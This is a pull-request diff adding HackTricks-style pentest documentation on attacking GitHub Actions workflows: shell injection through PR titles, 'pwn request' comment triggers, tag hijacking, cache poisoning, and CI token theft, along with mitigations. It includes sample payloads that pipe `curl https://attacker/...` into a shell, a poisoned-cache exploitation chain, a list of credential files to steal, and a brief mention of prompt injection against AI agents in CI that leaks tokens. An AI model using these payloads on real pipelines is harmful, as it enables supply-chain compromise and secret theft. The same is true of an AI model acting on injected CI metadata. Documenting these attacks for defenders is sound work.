Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -230,6 +230,20 @@ It might look like because the **executed workflow** is the one defined in the *

An this one will have **access to secrets**.

#### YAML-to-shell injection & metadata abuse

- All fields under `github.event.pull_request.*` (title, body, labels, head ref, etc.) are attacker-controlled when the PR originates from a fork. When those strings are injected inside `run:` lines, `env:` entries, or `with:` arguments, an attacker can break shell quoting and reach RCE even though the repository checkout stays on the trusted base branch.
- Recent compromises such as Nx S1ingularity and Ultralytics used payloads like `title: "release\"; curl https://attacker/sh | bash #"` that get expanded in Bash before the intended script runs, letting the attacker exfiltrate npm/PyPI tokens from the privileged runner.

```yaml
steps:
- name: announce preview
run: ./scripts/announce "${{ github.event.pull_request.title }}"
```

- Because the job inherits write-scoped `GITHUB_TOKEN`, artifact credentials, and registry API keys, a single interpolation bug is enough to leak long-lived secrets or push a backdoored release.


### `workflow_run`

The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
Expand All @@ -255,6 +269,26 @@ TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

### `issue_comment`

The `issue_comment` event runs with repository-level credentials regardless of who wrote the comment. When a workflow verifies that the comment belongs to a pull request and then checks out `refs/pull/<id>/head`, it grants arbitrary runner execution to any PR author that can type the trigger phrase.

```yaml
on:
issue_comment:
types: [created]
jobs:
issue_comment:
if: github.event.issue.pull_request && contains(github.event.comment.body, '!canary')
steps:
- uses: actions/checkout@v3
with:
ref: refs/pull/${{ github.event.issue.number }}/head
```

This is the exact “pwn request” primitive that breached the Rspack org: the attacker opened a PR, commented `!canary`, the workflow ran the fork’s head commit with a write-capable token, and the job exfiltrated long-lived PATs that were later reused against sibling projects.


## Abusing Forked Execution

We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
Expand Down Expand Up @@ -426,6 +460,11 @@ If an account changes it's name another user could register an account with that

If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)

### Mutable GitHub Actions tags (instant downstream compromise)

GitHub Actions still encourages consumers to reference `uses: owner/action@v1`. If an attacker gains the ability to move that tag—through automatic write access, phishing a maintainer, or a malicious control handoff—they can retarget the tag to a backdoored commit and every downstream workflow executes it on its next run. The reviewdog / tj-actions compromise followed exactly that playbook: contributors auto-granted write access retagged `v1`, stole PATs from a more popular action, and pivoted into additional orgs.


---

## Repo Pivoting
Expand All @@ -435,7 +474,19 @@ If other repositories where using **dependencies from this user repos**, an atta

### Cache Poisoning

A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
GitHub exposes a cross-workflow cache that is keyed only by the string you supply to `actions/cache`. Any job (including ones with `permissions: contents: read`) can call the cache API and overwrite that key with arbitrary files. In Ultralytics, an attacker abused a `pull_request_target` workflow, wrote a malicious tarball into the `pip-${HASH}` cache, and the release pipeline later restored that cache and executed the trojanized tooling, which leaked a PyPI publishing token.

**Key facts**

- Cache entries are shared across workflows and branches whenever the `key` or `restore-keys` match. GitHub does not scope them to trust levels.
- Saving to the cache is allowed even when the job supposedly has read-only repository permissions, so “safe” workflows can still poison high-trust caches.
- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) frequently reuse deterministic keys, so identifying the correct key is trivial once the workflow file is public.

**Mitigations**

- Use distinct cache key prefixes per trust boundary (e.g., `untrusted-` vs `release-`) and avoid falling back to broad `restore-keys` that allow cross-pollination.
- Disable caching in workflows that process attacker-controlled input, or add integrity checks (hash manifests, signatures) before executing restored artifacts.
- Treat restored cache contents as untrusted until revalidated; never execute binaries/scripts directly from the cache.

{{#ref}}
gh-actions-cache-poisoning.md
Expand Down Expand Up @@ -598,6 +649,24 @@ jobs:

Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).

### Systematic CI token exfiltration & hardening

Once an attacker’s code executes inside a runner, the next step is almost always to steal every long-lived credential in sight so they can publish malicious releases or pivot into sibling repos. Typical targets include:

- Environment variables (`NPM_TOKEN`, `PYPI_TOKEN`, `GITHUB_TOKEN`, PATs for other orgs, cloud provider keys) and files such as `~/.npmrc`, `.pypirc`, `.gem/credentials`, `~/.git-credentials`, `~/.netrc`, and cached ADCs.
- Package-manager lifecycle hooks (`postinstall`, `prepare`, etc.) that run automatically inside CI, which provide a stealthy channel to exfiltrate additional tokens once a malicious release lands.
- “Git cookies” (OAuth refresh tokens) stored by Gerrit, or even tokens that ship inside compiled binaries, as seen in the DogWifTool compromise.

With a single leaked credential the attacker can retag GitHub Actions, publish wormable npm packages (Shai-Hulud), or republish PyPI artifacts long after the original workflow was patched.

**Mitigations**

- Replace static registry tokens with Trusted Publishing / OIDC integrations so each workflow gets a short-lived issuer-bound credential. When that is not possible, front tokens with a Security Token Service (e.g., Chainguard’s OIDC → short-lived PAT bridge).
- Prefer GitHub’s auto-generated `GITHUB_TOKEN` and repository permissions over personal PATs. If PATs are unavoidable, scope them to the minimal org/repo and rotate them frequently.
- Move Gerrit git cookies into `git-credential-oauth` or the OS keychain and avoid writing refresh tokens to disk on shared runners.
- Disable npm lifecycle hooks in CI (`npm config set ignore-scripts true`) so compromised dependencies can’t immediately run exfiltration payloads.
- Scan release artifacts and container layers for embedded credentials before distribution, and fail builds if any high-value token materializes.

### AI Agent Prompt Injection & Secret Exfiltration in CI/CD

LLM-driven workflows such as Gemini CLI, Claude Code Actions, OpenAI Codex, or GitHub AI Inference increasingly appear inside Actions/GitLab pipelines. As shown in [PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), these agents often ingest untrusted repository metadata while holding privileged tokens and the ability to invoke `run_shell_command` or GitHub CLI helpers, so any field that attackers can edit (issues, PRs, commit messages, release notes, comments) becomes a control surface for the runner.
Expand Down Expand Up @@ -732,6 +801,7 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
- [PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents)
- [OpenGrep PromptPwnd detection rules](https://github.com/AikidoSec/opengrep-rules)
- [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases)
- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)

{{#include ../../../banners/hacktricks-training.md}}

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,53 @@

{{#include ../../../banners/hacktricks-training.md}}

## Overview

The GitHub Actions cache is global to a repository. Any workflow that knows a cache `key` (or `restore-keys`) can populate that entry, even if the job only has `permissions: contents: read`. GitHub does not segregate caches by workflow, event type, or trust level, so an attacker who compromises a low-privilege job can poison a cache that a privileged release job will later restore. This is how the Ultralytics compromise pivoted from a `pull_request_target` workflow into the PyPI publishing pipeline.

## Attack primitives

- `actions/cache` exposes both restore and save operations (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). The save call is allowed for any job except truly untrusted `pull_request` workflows triggered from forks.
- Cache entries are identified solely by the `key`. Broad `restore-keys` make it easy to inject payloads because the attacker only needs to collide with a prefix.
- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.

## Example exploitation chain

_Author workflow (`pull_request_target`) poisoned the cache:_

```yaml
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
```

_Privileged workflow restored and executed the poisoned cache:_

```yaml
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
```

The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).

## Practical exploitation tips

- Target workflows triggered by `pull_request_target`, `issue_comment`, or bot commands that still save caches; GitHub lets them overwrite repository-wide keys even when the runner only has read access to the repo.
- Look for deterministic cache keys reused across trust boundaries (for example, `pip-${{ hashFiles('poetry.lock') }}`) or permissive `restore-keys`, then save your malicious tarball before the privileged workflow runs.
- Monitor logs for `Cache saved` entries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.

## References

- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)

{{#include ../../../banners/hacktricks-training.md}}